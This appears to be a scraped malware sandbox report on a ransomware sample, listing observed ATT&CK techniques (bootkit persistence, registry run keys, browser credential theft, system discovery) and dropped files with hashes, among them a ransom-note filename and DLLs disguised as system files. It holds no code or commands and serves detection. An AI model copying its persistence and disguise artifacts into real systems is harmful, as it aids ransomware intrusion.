                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Bootkit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1542.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Pre-OS Boot

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1542

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Bootkit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1542.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Credentials from Password Stores

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1555

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Credentials from Web Browsers

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1555.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1552.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Network Share Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1135

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1120

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Remote System Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1018

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              System Location Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1614

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              System Language Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1614.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1016

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Internet Connection Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1016.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\7-Zip\Lang\an.txt(!! to decrypt email id 849282367 to [email protected] !!).exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                99KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1dd937ebecc00563bbc480cd094f6c24

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1ac0a75f182c47be93c1f530570d6f4f5280e67d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2593dda9cc158055af91056e77a4fc54b00fbe599d075ed12240b6e44401d23f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                734456564e9993769810b949afe92ee65035d50c67a5ef571c34369764f16cb805a980b3c9fee789d7f19e708ca449df494be857afbbd73b5aa3afb6b7e92f9e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\NoSafeMode.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                12KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6bb3bca23fdff5b013863d8423267251

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2e6b80241d1a9269cc30e13663e6f910a0893450

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                bdb1a0b687ced575e71702b7b4554063e697791bc2b2a286a0e4dfd528739670

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                de6230dfe87df4840314983573c94ce332f5bfe9996de852c6e47844e785a4e7a8e4084a6d9ed1fd4aac78b896d2158a201ff202635c205bf50e2507c1165478

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cfwin32.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                394KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                53894890dc01bbcace449f6590a1597b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                b27c93ef650d79a49150e61cd668b01bee543a30

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2f3f037b07737101076f50664ea3af10f76970febdcba4bd0e38d5a0eca4f6dd

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2ab1d894688ba8ee4129c575a116e7d01840d553a3956c3c158921e0794207ae9d0396c4c848c9e6592f40466e893ed19165e5eb34c53e02fe19fb65265c3a5a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\csrss32.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                167KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1ccda7a99f4552d258663a1dea54a07e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                b761408d4403ea07261cceb5a8afe789c4fc2c19

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                098cccfa11432f742591078ab41571efa5e325c327a0f9797da385e48da09615

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                f8e4c689608206cd0c5ccf9a36533ea74da7008a21e159ef7ebd199fd63a54c3a86f6842afefb282e5ebf1124664098d52b2acdcca53027d83d42248c2204b1e

